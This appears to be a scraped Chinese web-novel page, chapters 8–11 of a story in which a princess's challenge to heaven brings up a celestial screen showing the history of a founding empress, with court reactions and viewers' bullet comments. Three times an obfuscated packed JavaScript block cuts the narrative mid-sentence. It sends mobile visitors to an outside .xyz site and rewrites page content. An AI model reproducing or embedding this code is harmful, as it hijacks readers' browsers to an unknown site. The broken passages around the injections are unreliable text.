有些话看似大逆不道,聚在此处的人却有一个算一个,平日里都爱茶楼里几个人拉个包间,谈天论地,谈着谈着,就绕到皇宫里头了,放宽了心调侃骂骂皇帝后妃,骂会儿狗皇帝,再骂会儿那皇亲国戚和奸佞贪官。不说外省小县小城,哪怕在天子脚下,平头百姓的,倒真没有人或者官府闲来无事专门抓起处理他们,都是睁一只眼闭一只眼,或者说明白点,视而不见,根本不在意,知道翻不了天。
*
皇宫。
人人几乎沉浸在这种壮丽恢宏的场景中。
只有皇帝是最畏惧的。
刚刚一会儿的功夫,他叫来了钦天监的,又叫来一些自称会仙法的大师,还不忘问左右太监。
他问这个天幕出现的缘由。
那些大师统一口供,或打哑谜,或直言相告,或模糊其词,总而言之,和神有关。
皇帝急躁无比,他差点骂出声,他自然知道这非人力可为……他瞥向台下悠然自得的姜柏弥,想起了对方立在风中质问天理的那一幕,天幕!早不出现,晚不出现,偏偏就是在她说完那句话后出现的。
有何用意暂且不知道,但对方的一段痛诉能引来天鸣,怎么看都——
显得他是错的喽!
老皇帝也不知道这个天幕要做什么,会不会说出对自己不利的内容,他心底始终有一种算不上好的预感。
他比谁都清楚自己干过多少亏心事,越是亏心,越爱杀人,倘若真的有神灵这种东西,那…是否会有一日审判自己?
——但那小六要杀他!一个女儿,要杀了她的亲生父亲!他要杀她,于情于理,都无愧于世,何过之有?
大师们平时忽悠人也有一套,如今却遇到了真神迹,这种迹象一看也绝非造假的,他们错愕之余,也比谁都看得清当时的情境——这六公主质问完天,天就回应,绝不像巧合…他们中不乏聪明人,不约而同想起了那窦娥冤六月飞雪的场景。
但在这个掌握他人生杀大权的皇帝面前,他们自然不敢说出真实想法——哪怕皇帝猜到了他们的心思,他们也绝不能说出口,更哪敢说出“审判”这个词,一怒之下还能活么…也不敢说那是妖法作怪,否则皇帝不就要问他们对策么?便故意东拉西扯,忽悠得一套是一套。
皇帝不耐烦了,挥手让他们下去。
待人走后,贤妃开腔:“陛下,刚才据胡天师和外头报信的人所言,这天幕是在京中上空都有了,近畿诸县也有,估计外省可能也是有的,世人都见着了,这未必是一年坏事。”
皇帝顾盼左右,压低声音:“…可朕管控不了,朕……”他停顿下来了,想说出内心所想,但碍于面子,没继续说。
贤妃似乎看透了他的惶恐所在:“陛下无需担忧,这未必是为了弥儿来的,余家勾结外人、通敌叛国,证据确凿,早已天理不容,您是对的。再者,这天幕所讲,竟是我朝夏太祖擒获北戎首领之事,臣妾以为,这恰恰利好您。”
皇帝:“怎么个利好法?”
贤妃:“世人皆知,您最推崇那昭文太祖皇帝,供奉香火最为虔诚,如今天上播了太祖皇帝的事迹,实则是边关战事紧急,祖灵庇佑,为扬我大夏之威、振奋人心,方出此幕;另外,既然
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811277|175248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
您最推崇太祖皇帝,那这不恰恰与上天的意思一样么?世人也会记起、感动于您一向尊崇这位铁血女皇的行为,上天褒扬太祖皇帝,也就是褒扬支持您的统治。”
一番话下来,把皇帝听得身心舒畅,仔细琢磨,居然也有几分道理。
贤妃这番连自己都不信、拿出来忽悠安抚皇帝的鬼话,逻辑上还算说得通——只可惜那位荧幕上的“女皇”和刚刚被宣布叛国的姜柏弥生了同一张脸,只是众人刚未能看到,现在不知而已。
天幕播放至此,众人依然看不清那位开国女皇的真容。
他们的心都迫切了起来。
开国皇帝,一个在历朝历代都极为特殊的存在,一般来说,这类人骑马打天下,都会比较有人格魅力,他们所在的时代又是开国初期,经历战乱未久,人口死了很多,大片土地荒芜,地广人稀,为休养生息,也为安抚稳定人心,统治者起初对百姓的政策往往相对会宽和,甚至早期大片无人垦荒的土地都可以分出去,比如“均田制”——为尽快发展生产力、恢复税基。王朝衰微后,官府最后的土地和资源调配基本都会失灵。比起守成或昏庸无能的后继之君,在有主观和客观因素加成下的开国皇帝在普通人心中的朴素感情中到底不一般——哪怕是实心做事的后继皇帝,愈是善战者无赫赫之功,只是少了那分传奇色彩,容易名声不显。
总而言之,还是有不少人希望看到那位开国皇帝的真容。
陆贤妃也是煎熬的。
她那些话哄哄皇帝还好,她自己也心神不宁,她收买刺客咬了六公主一口,偏生出了这天幕搅局。这是关键时候,她很怕出了什么变故,还不受自己掌控。
陆贤妃提醒:“陛下可加紧京城与各省戒严,免得有些人在这时候浑水摸鱼,也要赶紧派人去外省和边疆探查防守。”
皇帝逐渐恢复理性,拍了下脑袋:“衣荷所言有理,朕是差点丢了魂,朕这就先派人给京营提督送话,叫他最近用点心,加紧巡逻,管控言论,莫教那些刁民文人借题发挥诽谤朝廷,再教聆风司的人去外头聪明行事。”
皇太后忽然加入对话:“儿,你且记住,这世上别有用心之人多了,可别光把劲儿往一处使,让人家钻了空子。”
她不留痕迹地扫视了陆贤妃一眼。
皇帝:“儿臣谨记母后教诲。”
陆贤妃不动声色翻了个白眼,心中暗骂这老妖婆明里暗里都不消停非要挑拨是非,陛下有段日子冷不丁对陆家疑心大涨,十有八九也是有她背后挑唆…贤妃本人脾气也不好,和这个太后婆婆很不对付,然而在皇帝面前,她克制住了,一字一句道:“陛下,莫担心,布置得当,有些人,在城里翻不了天。”
皇太后:“儿,倒把那个丫头叫过来,审一审她,哀家倒要看看,神仙有没有给这丫头递什么话。”
“儿子正有此意。”皇帝面色惶然。
贤妃面色不显,心里倒打了鼓,愈是这种时刻,她愈是不能露出破绽。
位高权重的几人不约而同望向台下的姜柏弥。
……
“罪魁祸首”姜柏弥倒是立在原地,腰板挺得更直了,还用心声和她的系统006交流。
姜柏弥用一种逗小孩的语气:
【刚才没掉链子,也没弹出小广告,给你一个口头表扬。】
006:【……】
谢谢,不稀罕。
一个侍卫悄然朝着她过来。
颇有理冷处理的架势。
此人态度还算客气,简明说了来由,说陛下想找她叙叙话,最后还递来了一个“请”字。
姜柏弥:【你猜猜皇帝老儿要问我什么?】
006:【他不会觉得是你干的吧。】
姜柏弥:【这倒不至于,天幕一看非人力可为,他是怕了,找我问虚实的。】
姜柏弥正色,抖擞下裙袖,也不遮掩着,大大方方随着侍卫过去了。
一时倒引起一些有心人注目。
9. 失恃公主or开国女帝(8)
姜柏弥一步一步走过去。
步伐潇洒。
周围绝大多数人还在盯着那副在天幕上铺展开的地图,只有少数人注意到姜柏弥的动向。
太后、皇帝,稍微能抽出目光和精力来审这个——好歹身边有十几个专员、记录员帮忙提醒、记录天幕内容。
——尤其记录那副地图。
这些被紧急召开的官员中人才济济,记忆力、速记能力都非同寻常,已经有人把那副地图的大体轮廓和内容画下了,留下给人研究分析。
他们统一被叫到宴会某处偏僻空地观察记录了。
台子最上方,按夏朝礼制,除去太监,权贵者不过三人,太后、皇帝、贤妃,离台下众人远得很,若是正常说话,实际下面人也听不清什么。
皇帝不肯离开现场,又不肯事事叫底下人摸得透透的,便教三五个太监临时支起了一个杏黄色的帘子,隔绝了底下人的窥视。
包括太子,也就是贤妃的儿子,按照大夏宴会方面的礼制,储君也是得坐在下面的那批人里。
此时的他,一只眼望着天幕,不敢轻易挪开,另一只眼,也是巴巴望着上头呢。
眼睁睁看着他那个六妹一步步被人“礼貌”请上了那个帘子后的世界。
他追随着皇妹的眼神里,充满一种与好几个皇子皇女一般同仇敌忾的想法——认为六妹竟敢勾连外国谋害皇父——本国的至高存在,边关战事正紧,这不是要搅得国内大乱,给外国可乘之机么!还拒不认罪,可恨、可杀!连带他身边坐着的不少皇室们,都是痛恨,惊讶,还有一点共通的胆怯。
皇帝子女及宗室中不乏有脑子活络的,眼不聋耳不瞎,人精似的,把那姜柏弥对天的质询和随后出现的天幕联系在了一起,再思六公主与陆家素日为人,认为事有蹊跷,但他们不问也不说,总不能当面说皇帝是无道昏君,不清不楚要杀子女招来天怒吧?皇帝能杀他们,天幕未必救得了他们。这些人的嘴都绷得紧紧的,只愿意作糊涂状,专心看天幕,心中自然对那六公主只是好奇居多了,更别谈什么怨恨。
这类人占了一大部分。
只有少数过去颇受宠爱的皇帝子女,尤其太子,情绪上头了,他们的真的觉得六公主是做了这件大逆不道的事,潜意识也忽略了一些对皇父不利的细节。
他们是又爱又怕,皇帝虽然残暴,但多数对外人,对没触犯他龙威、看得过眼的亲信子女,不吝惜赏赐和一点点爱。
那可是皇父——
考虑现实,如果皇帝真的突然在今天死了,这些一惯得宠的人中,安逸者觉得自己安生日子短期内必定没了,他们的荣华富贵谁来保;投机者会认为自己还没来得及布完局做到上位,就得眼巴巴看着这软柿子太子继位,如今那耍弄后权的陆贤妃把他们压制得如孙子般,他们都不敢怎么光明正大联络门客布局行事。倘若最近真出了事,这个女人背后陆家掌握京畿防卫大权,她定能也是迅雷不及掩耳之势扶她儿子上位,他们都没机会反抗和布置——这也是他们这波人心里尤为恨姜柏弥的原因,几个颇得皇帝青睐、野心不小的皇子尤是如此思量。
至于太子,比他们还藏了一点隐秘的心思。
他忧心父皇。
可他竟还是生了一点连自己都不敢承认的心思。
——他恨六妹弑父之举,更恨六妹怎么就未成事。
不然……
太子捏了一把冷汗。
为自己也算得上大逆不道的阴暗心思羞愧,此时回过味来,也生了些疑惑,六妹一惯胆怯,到底为何找人动手,还敢如此顶撞父皇?
他视线中的六妹已经进入了那层厚厚的杏黄帘子里了。
太子这般揣摩皇帝心思,是忧是喜,只是旁观心态,未忧及自身,不见慌张,说白了是不知事态发展始终——远在帘中的贤妃一开始便没教太子掺和进来,两次栽赃计划瞒得严严实实,没人比她更清楚自己孩子的性子和演技,易动摇,一旦知晓了,张皇无措,别人处也瞒不住,要坏事。
*
帘一掀。
坐三个人。
姜柏弥站立挺拔如松,面无惧色。
她是心中有数,自然不慌。
姜柏弥很清楚,有神秘未知力量制约,皇帝起初必然不敢轻举妄动,陆家短期内可安然无恙,至于陆贤妃…她也不能逼急了。
戏还得演下去呢。
天幕也要放完。
心中有主张,做事不慌张。
坐着的人都对她打量,目的性很强的打量,似乎非要盯出点什么。
可她自身还是一身素衣,额头上那块小伤口也结了痂,披头散发的。
后面两个小太监侯在姜柏弥左右身后,时刻不敢松懈,紧张地盯着她,生怕她做出什么惊人之举。
场面一度陷入了诡异的沉寂。
拉了帘子,却没有帐顶,依然能窥见天幕的内容,坐这的人也都多少对天幕留了神。
那张地图铺展开的片段已经结束了。
似乎又出现了新场景…乌泱泱一群蹲在地上洗衣服的女子什么的。
皇帝近来本就疑神疑鬼,觉得有人要害他,种种心理暗示下,他依然觉得姜柏弥原是要害他的,心下警惕未放,恨着的,更别说要扮演什么“父慈女孝”,他这会儿左思右想,用贤妃的话经过反复自我洗脑,觉得姜柏弥那些话遇上天幕只是碰巧罢了。
他终究是有所顾忌,“你”了一声,没说话,目光不善打量了一会儿,反而压下怒意,似是为刻意忽略,又抬头直直看天幕去了。
贤妃更是心虚,虽然这次计划手脚做的干净,算得上天衣无缝,手下人没有留下证据能咬到她,可天幕一搅,她如今心如乱麻,便不再多话,怕多说多错,惹得被人攀扯——先作痛心疾首状表态,举起指来恨铁不成钢指了指姜柏弥,又余光瞄见太后唇瓣翕动似要发话,便摇了摇头,顺势抬了头,只望天幕,好似对养女极其失望的模样。
太后此事上倒真没疑心过贤妃,她上下打量这个六公主,见其身上并无异常,心下异样,率先打破了现场的安静,诱导性极强地问话:“丫头,你犯了这样的罪,神仙,可和你说了些什么?”
语气还算的得上温和,也分毫不收敛上位者的傲慢。
她心目中的想法也和皇帝大同小异。
稍微戴上一副温和的面具,便想套出实情。
姜柏弥眼神从这三人依次流连过去,也没停留在谁身上,很快收回,既不正面回答,也不辩解,更没有趁势揭发逼反贤妃的意思,反而皮笑肉不笑:“那不如…让上天来审判我的罪过吧。”
说罢,她侧过身,很自觉优雅地退至帘子边上,依然是身处帘子内。
太后蹙了蹙眉,似是对这番驴头不对马嘴的回答以及态度很不满意。
她张开唇,想要说些什么,却也被那天幕的内
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811278|175248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
容吸了魂儿,一时竟忘了追究下去,待脑子清醒些,权衡下来,又想干脆待天幕结束后好好审那丫头。
[行军路线的地图消失后。
画面一转,很快切换了新的陌生场景。
是一处破落庭院里,一处空地聚着一群粗布衣衫的浣衣女,蹲着,有捶衣的,有拧衣服的,还有手探入木盆凉水正搓洗的。
瞧着背影,就能判断这群女孩年纪都不大。
小小一片区域,说笑声、捣衣声、舀水声,交织一片。
“角落那个,出来!”
一道粗犷的声音划破了安和的情景。
镜头给到了一个门口大跨步进来的穿着管理服饰的看守身上。
随着看守的目光——
镜头也转向了院落角落。
一个清瘦的女性身影。
镜头慢慢挪向她的正面。
女子蹲在一块青石板前,石板上平铺着一件湿漉漉的衣裳,她默默低着头,灰蓝色的袖口早已褪色,松松垮垮挽在肘关节处。
她对看守的呼喊声充耳不闻,仿佛与她无关,依然拿着捣衣砧一下又一下捶打着衣裳。
“就说你呢!”
那看守似是火大了,三下两下走到她前面。
闻言,女子停下了捶打的动作,终于缓缓抬起了头。
凉薄的眼神。
虽荆钗布裙,难掩遗世独立。]
古人观众中不少窃窃私语,有的惊叹于画面上陌生女子的美丽,也有人对这画面转换感到困惑——上一秒还在沙场征伐血腥暴力,还讲什么太祖皇帝,下一秒怎么就转到庭院浣衣女里去了呢,怎么看,讲的事都不相干。
也有善于动脑子的,见了此景,已经试着根据服饰与人推测画面所处背景时间了。
他们都很好奇这个女子的身份,也好奇这还发生了什么。
弹幕观众基本是熟知剧情的,他们不少都关注着底下古人的举动,也有很多专注于看剧,有的明明重刷过很多次,一看到重要角色登场,依然心潮澎湃。
【岳相登场了】
【一眼万年】
【开国丞相】
【这是岳相?我都没往那想】
【原来岳相一开始这么惨吗?我印象中她家世还不错啊】
【前面,你可能读了一半,岳婉君确实是前朝重臣的女儿,家境优渥,从小读了很多书,父亲做到那个位置上了,为人处事还算得上固守本心,称得上贤臣,被当时大禹朝廷的掌权派整到了全族流放的地步,身为直系亲属,岳婉君也被送到流放之地做苦役,呆了三年,就这境遇还是有人周旋帮助的结果——期间她爹妈都去世了,有次她还帮人出头犯事了,就被移送到这块地方洗了半年衣服】
【看来她遇到姜徵令是以后的事了】
【“初逢明主,辞色甚倨,帝不以为意。”】
【这是《岳襄公年谱》记载的原话,是由岳相门生记载,这段话有多份史料佐证,可信度挺高】
【君臣组上大分】
【只能说,扮演岳相的演员选得真的很好,后面的各种大事中演出了丞相的多谋善断和清正廉明,还把她那种表面谦和、实则孤僻虚无还有点傲的性子演出来了】
【你们都在很认真讨论她的生平事迹,感觉这里就我是凡夫俗子,岳相出场后一直只关注她的脸…】
【我也是】
【选角真好】
10. 失恃公主or开国女帝(9)
[那看守一时愣在原地,显然是被那种凉薄的眼神吓了一跳。
反应过来,他又有些恼羞成怒道:“我管你以前过的什么日子…你现在沦为一个小小的官婢,你那对短命爹妈也死了,不晓得还摆什么架子!一对早死得透透了的贱骨头,连他们的女儿也不晓事吗?”
女子本来面部表情,听到外人提到她的“爹妈”,难得动容,眉头蹙起。
她站了起来,挑起眉毛,开腔:“大人明鉴,本人无任何不满情绪,您是要打,要骂,还是要一颗人头,罪女都不怕,就是别扯其他人,怕这因果,您沾不起。”
旁边几个浣衣女,刚刚就被这里的动静吸引了,早都都悄悄抬起了头偷偷往这边看,有好心的冲她摇摇头,但女子目光不偏不倚,语气不卑不亢。
甚至算得上挑衅——
看守怒斥道:“你——一个奴婢还敢威胁本大人?实话告诉你吧,你想死,也死不了——狱丞大人直接过来找我这点人,上头的人在我这片里名单中就选了你一个,上头要把你们送到新驻施安城里的官军那去!有军爷要人!”
闻言,女子没有惊怒,她淡淡扫了看守一眼,也不像刚刚作出挑衅,只是应了声“嗯”。
看守:“急着要人,你现在与我走。”
女子点点头,自然而然蹲下拾掇起手下衣物工具,仿佛这不是什么意料之外的事情,更不像是即将要踏入某个地狱了。
“别管这个了,人走就行,上头还催着我呢。”
听到催促,女子顿了下。
旁边一个比她小好几岁的女孩道:“姐姐,你放心走,我帮你拾掇…”
“谢谢你。”女子默默给女孩投去感谢的一瞥,就收回了目光,拍了拍身上的灰,似乎已是准备妥当了。
“没有包袱吗?”看守提醒。
“就我一个人。”女子的语气少有的轻松。
看守见状,察觉他之前那些话对此人是毫无杀伤力的,仿佛就一拳打到了棉花上,他自个倒觉得没趣了,又恰巧瞥见女子手上生了冻疮,面色淡淡,平静无波,一具无魂尸体似的。
他想想此女的去处,一时倒真生了些许怜悯之心,也不与她计较了。
领着人出了这里的大门。
女孩们都默默注视着她离开。
却没说什么挽留话。
似乎是,这块地方基本时不时进人走人,她们都见惯了。
门外。
停着一辆马车。
马车上的帘子教人掀开了。
露出三张漂亮明媚的脸蛋。
“你们是一处去的。”看守如实道,“我底下洗衣服的,就一个你被挑中了。”
“走吧,上去。”看守瞧着女子背影,心生不忍,难得好意言语,“你半年前被分到我这了,这半年,我嫌你傲得很,是没少挑你的错,可也没真把你怎么着,是不?你以前是那大家小姐,可这回也别怪我,我没那么大本事,是上头要让你去的——到时候,心里别怨我就是了。”
“您别担心——”女子脚步顿住,回过头来,“我就是做了鬼,也怨不到您身上。”
说罢,她毅然决然掀起帘子上了马车。]
大多数民众的情感是朴素的。
他们自然能看出来谁是受欺压对象,这段情节开始时,只见那屏幕上的陌生姑娘身陷囹圄,依然敢为父母与那官差斗气,都知道阎王好见,小鬼难缠——好个忠孝的女子!
只是不知犯了什么罪,落了下这么个下场。
只有少数古人,指责那女子言语鲁莽,发自心底觉得她不敬官差,就是不敬朝廷,还有的当然是立场所致,站的位置不同,自然而然看到“反抗”就觉得刺眼。
也有古人觉得她相当懂得韬晦,一番言语下来不卑不亢,实际并不冲动。
弹幕鱼龙混杂,有几条弹幕格外突出——
【我就不理解了,她区区一个奴婢,凭什么敢顶撞官差,有什么资格闹腾,还以下犯上,吃人家官饭就要听人家管,就不能安安分分么,要是全国都是她这种人,那岂不乱套了吗?】
【换我是官差我也看不惯她这种,装什么】
【把她挑选送到官军那边一个长官身边,那分明是抬举啊,她本来是奴隶了,说不定就能借此飞黄腾达的,做小妾也能享富贵啊,不比当个戴罪在身的洗衣奴婢好】
冲这几条逆天发言,整个直播屏幕的弹幕数量一下激增。
有直抒胸臆的,也有拐着弯骂的。
【逆天】
【春竹】
【不像串的】
【大春,你和别人不一样】
【古人:有点太奴隶制了】
【你没看见是看守先嘴贱侮辱了她父母吗】
【大家不要疑惑,发那几条弹幕的人,是没有浮木的】
【好骂】
【原来这是奴隶制,不是封建制啊】
【看守:以后不欺负强的,也不欺负弱的,就欺负这种贱骨头得了】
【看守都没觉得把讨厌的人送过去是个好事,还有基本的怜悯心,弹幕有些人却以为这书天大喜事,有些人生在现代,可封建等级观念是刻入脑髓的】
【bro以为给封建王朝贼配军的一个统领做妾是享福去了】
【搞点先进的封建主义吧】
【历史上岳婉君这时候本来就有些无所谓了吧,爹妈没了,她又不怕有的没的,本来就是年轻读书多,见的世面多,起起落落,看破人情,一段时间陷入了虚无主义,想得多,身弱能量低】
【不是所有人都愿意忍受人格侮辱和怕死的】
【刚举报了,破案了,那几条弹幕是一个人发的】
【怪不得】
弹幕一顿群嘲,导向还是明显的。
大多数人还是同情受到欺压的弱势者的。
看着看着,从看守的只言片语里,大多数古人大概也明白了——这个姑娘以前家里不差的,也是个千金小姐。
为什么沦落到这个地步,群众中猜什么的都有。猜她家抄了家的,猜她家欠了巨债的,或者有话本子读多了的,以为会有什么奇幻神仙情节……
某地城外竹林中。
一群年轻公子聚一处。
某个翩翩公子折扇一收:“诸位听到了吗?那个看守,称呼她‘官婢’,且提到她以前也是个大家小姐,怕不是官家的,大概她父亲过去是个朝廷大官,获罪后全家流放了,由朝廷管制——这才沦到此般境地。”
这里人见得多了,京中也有一些高官亲戚。赢家通吃,输者一无所有。那浣衣女又着实傲得很,举止间还算从容,说话条理也有,应该读过不少书,他们一猜就是这个浣衣女的父亲过去在朝廷做官,官应该还不小,得罪了当权派。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811279|175248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>一下给出了最为接近真相的猜测。
又一个世家公子:“那看守还算是个人。”
翩翩公子再度打开折扇,不慌不忙晃着扇子,不以为意:“给人办事罢了。”
“你们如此自信?”一个商户家的白衣公子哥扔下手中那卷迟迟不离手用来装模作样的诗书,解析得头头是道,“那女子未必见的是什么大官家的,有些钱财闲力愿意培养姑娘小姐的人家亦有可能。你们都只是一厢情愿的幻想而已,以为官做得越大,品性越高,家里小姐姑娘越高贵可亲、气度不凡。你们可知道,我赴京那次,外头宴会上见了一个尚书家的大小姐,背地里使死劲打骂她的丫鬟侍女,偏生教我瞧见了,满嘴污秽之言,好个官家贵女!不把人当人的。”
这里是偏僻小城,这群竹林里聚在一起的公子,只是互相言语称呼叫得好听了点。君子之泽,五世而斩,这群人里最高的也是一些大家族的旁支,大多还是家中有些底蕴的寒门庶族,还有些颇有闲钱和门路的小门小户,他们为附庸风雅来竹林饮酒吟诗,平时大多还是和普通人打交道的多。
那个商户家白衣公子便是家中颇有钱财的代表。
这群当地的婆罗门,一对比京中的天龙人,把他们自己倒放在了普通人的位置,一时也产生了些许共情。
“悲乎痛哉!”一个蓝衣公子摇头晃脑,只道哀哉伤矣,又以为忧国忧民了,心里略感宽慰。
那个摇折扇的头脑颇为清晰:“气度什么的,有的天生的,有的后天富贵权势中浸养的,我是在那女子身上看到了‘谨慎’二字。”
“李兄目光一向毒辣,这十有八九是实情了。”一个锦衣公子乐呵呵过来,还足足饮完了石桌上一杯酒,“小弟只是好奇,这讲的是什么时代的事。”
这群人底下东拉西扯,天幕也一直在慢慢播放着,但到底没有清晰表明场景的起因经过结果。
甚至天幕上的人物姓名半天也不知道。
李公子单手持扇,悠哉悠哉:“天幕开篇所述之事,便点明了是禹灭夏启的背景,那群浣衣女子衣服样子颇有禹朝末年大肆流行的仿古之风,裙上又有那时底层女子喜用的几何菱格纹样——若在下猜的不错,这些事发生在禹朝四分五裂之际,那些提到的新来官军,驻留这施安城,应该就是大禹末年派去镇压西南义军与抵御南蛮入侵的朝廷西线军队之一,他们出征,又赶上大旱三年,朝廷发不出多少饷,大禹军便只好借剿匪名义一路劫掠沿途百姓城镇,搜刮民财,侵犯妇女,长官带头克扣军饷,又派属下各处搜刮美女供己享乐,与劫匪无异。”
“兵过如梳,匪过如篦…匪军!匪军!”蓝衣公子从鼻子里“嗤”了一声,痛心斥道。
白衣公子家中从商,也是商人思维,自然想得更实际,只认钱和利的:“那也是朝廷发不来饷,上头快贪墨完了,财用完蛋,欠饷不发,层层盘剥,士兵没粮饷,军中中下层将领校尉只好放纵属下烧杀抢掠,来就地筹饷,这竟是他们维系军心的做法,不然也无人卖命。”
锦衣公子:“用钱买命还算个理,那会儿人都快活不下去了,人命都不值钱,也就认了,可那腐败朝廷连钱也给不出,怨不得后来各地大禹军接连哗变,摇身一变,成为义军了。”
对于一支常规的封建军队,自古兵匪一家是常态。
几个年轻人虽然也晓得这是常事,到底还有些愤慨之心。
11. 失恃公主or开国女帝(10)^……
民间有高手能借画面展示的一些衣裳制式、人物的交谈言语分析出背景,宫里自然也有这类人。
有天师在旁,给皇帝分析着天幕所述之事。
也不避讳着他人。
比如姜柏弥。
皇帝已经接受了最开始贤妃提供的一些说法了,边关战事紧急…他自己也脑补完善了很多说法,莫非是那个乱臣贼女犯了大罪,却不知悔改,临了口出狂言,悖逆上苍,亦是诽谤朝廷君父——
如此,上天播出大夏历来的功绩功德,成心让这个逆女明白她悖逆的东西是如何功德无量,使她知晓蝼蚁撼树之举如何可悲,上天想使她诚心悔过,更是借此机遇震慑外国、庇佑大夏。
历来神话传说、民间话本也不是总有大奸大恶之人,反而能有得到度化之资,一经点化,未免不能位列仙班,得宽恕于上苍。
这更不是针对他的——否则,为什么不直接播一些不利于自己的内容,或者劈一道雷下来收了自己。
说明,天幕是认可自己的。
皇帝心生宽慰,咳嗽了几声后,洋洋回忆起了自己的前半生,也算开拓了几块地盘,守了边疆,压制诸王不让他们叛乱,给了一些人饭吃,他们竟不感恩自己,反而心底骂他——那群刁民!桩桩件件,上天能不记挂自己。
杀人、杀人算什么。
上苍若不看人功绩,只数这些细枝末节,千年万世谁有能真正立下万古长存的业绩,谁能不被诟病…
老皇帝陷入了自我感动,原本杀过许多人带来的些许不安也在自己幻想的世界里消失殆尽了。
姜柏弥的眼神很微妙往老皇帝沉浸在自我的幻想里无法自拔的脸上瞄。
趁没人注意,姜柏弥眼睛弯弯,小声开口,和直播间交流:“老皇帝又幻想上了。”
直播系统超智能地把视角地追踪到老皇帝身上,直播间视角里,出现了老皇帝的面部表情特写。
没想到,一石激起千层浪。
弹幕慢慢吵了起来。
【现在是,幻想时间】
【老皇帝这笑正面看起来很难看(没有说侧面不难看的意思)】
【发生甚么事了】
【皇帝:会赢的】
【这个笑容太猎奇了,看完后我手机在转转上又贬值200】
【我知道了,老皇帝以为天幕是助他的,说不定这时候还美滋滋想着天幕还会夸他呢】
【笑死,夏厉帝自己心里真的没有点数吗?】
【有时候我真不明白,人生下来本就该权责一体,你是一个皇帝,受万民供养,做出一些所谓功绩,难道不是基操吗?皇帝自己有时唯我独尊没点数,怎么稍微有点功,有些精神古人也吹捧起来毫无负担】
【可是他皇帝啊,他想干什么就干什么,本来就可以放任自己,可他没有,最起码在早年他还是选择给民众让了利,还立下不少功绩】
【有没有可能,皇帝也不是万能的,皇权更是早没了神圣性,何况他是不正常继位的,本来就皇帝位子不稳,法统不牢固,他就该老老实实夹起尾巴做人,早年那么多人虎视眈眈,难道他是自愿给别人让渡一些利益的】
【有些人把夏厉帝吹得没边,就因为他年轻还有打过一些正战绩,啊,原来帝国功劳只是他皇帝独揽啊,那几万士兵、二十万民夫、将军都是纸糊的,一到背锅时,就不粘锅哈哈,都是下面臣工、皇子、嫔妃、百姓误解他的过错,就不想想为什么所有人对他弃若敝履,厉帝粉丝收收味】
【刚才弹幕就有厉帝粉出没了,这个群体真的很稀有】
【厉帝还有粉?】
【菜就是原罪,提起功绩,厉帝东拉西扯掺点水分也没几件,非要说他的战绩…战报会说谎,战线不会说谎,看看大夏中后期实控地图就知道了,还有某些事情是一个大一统国家的官方决策机构必然会推动的基础流程,也给算到他一人头上成了个人功绩了】
【真心实意狂热地崇拜一个陌生人都是一件抽象的事情,何况还是一个封建独夫民贼】
【其实非要粉皇帝,粉他身上的雄才大略、文武济世、体恤民情、用兵如神,都是正常的,是个人都向往美好的、崇高的品质和能力,也有人性的慕强心理,但是你粉他杀人如麻、冷血无情乃至于各种乱七八糟的所谓厚黑帝王制衡之道,是认真的吗】
【厉帝是杀了很多人,可很多都是达官贵族,他早年还说过要学爱护百姓,还为此推行了不少轻刑法重民生的律法,分明是有出土文献史料记载的】
【外星人来到地球,看到联合国宪法确实也得感慨一句地球人真是一个热爱和平的种族】
【能不能看看历史上一些县志和档案里描述的实际执行情况,多方史料交互印证下,他那时难道反而不是夏朝律法刑责最严苛的时期吗?他中老年昏聩的部分众所周知我就不说了,实际上厉帝早年那些被其粉丝吹成“励精图治”的操作在我看来也一直很抽象,他上位初期,出于自救做了一些币制方面和其它经济方面的改革,还有人说他所作所为只是为了打击了地主官僚,没有剥削百姓,人家是想给中央财政捞点钱,即使论迹不论心,你们摇旗呐喊感天动地,客观上百姓负担也没少啊,看那些改革里的具体内容,斟酌斟酌,反而加重了,就是换了一个更高级的剥削形式,而且你觉得那些利益群体被那样的手段打击了以后,他们最后会从谁身上用一千种一万种法子变本加厉疯狂捞回来,羊毛出在羊身上。何况后续证明皇帝自己捞够了,根本没补救的意思,也确实不在意庶民死活】
【看一个人,你要看他做了什么,而不是说了什么】
【他说那话不是目的,只是手段,而为了实现真正的目的,人的手段是灵活多变的】
【是的,他是杀了很多贵族大官,姑且把那算作内斗,可那些被株连的无辜普通人和奴婢又有多少呢?多看看地方志和一手史料以交流信件,有大量有力证据证明,有一些小地方,牵连一些大案或其它政治事件,仅仅出于宁肯杀错一千不肯放过一个的考虑,皇帝一个命令,就把那一带的百姓屠光】
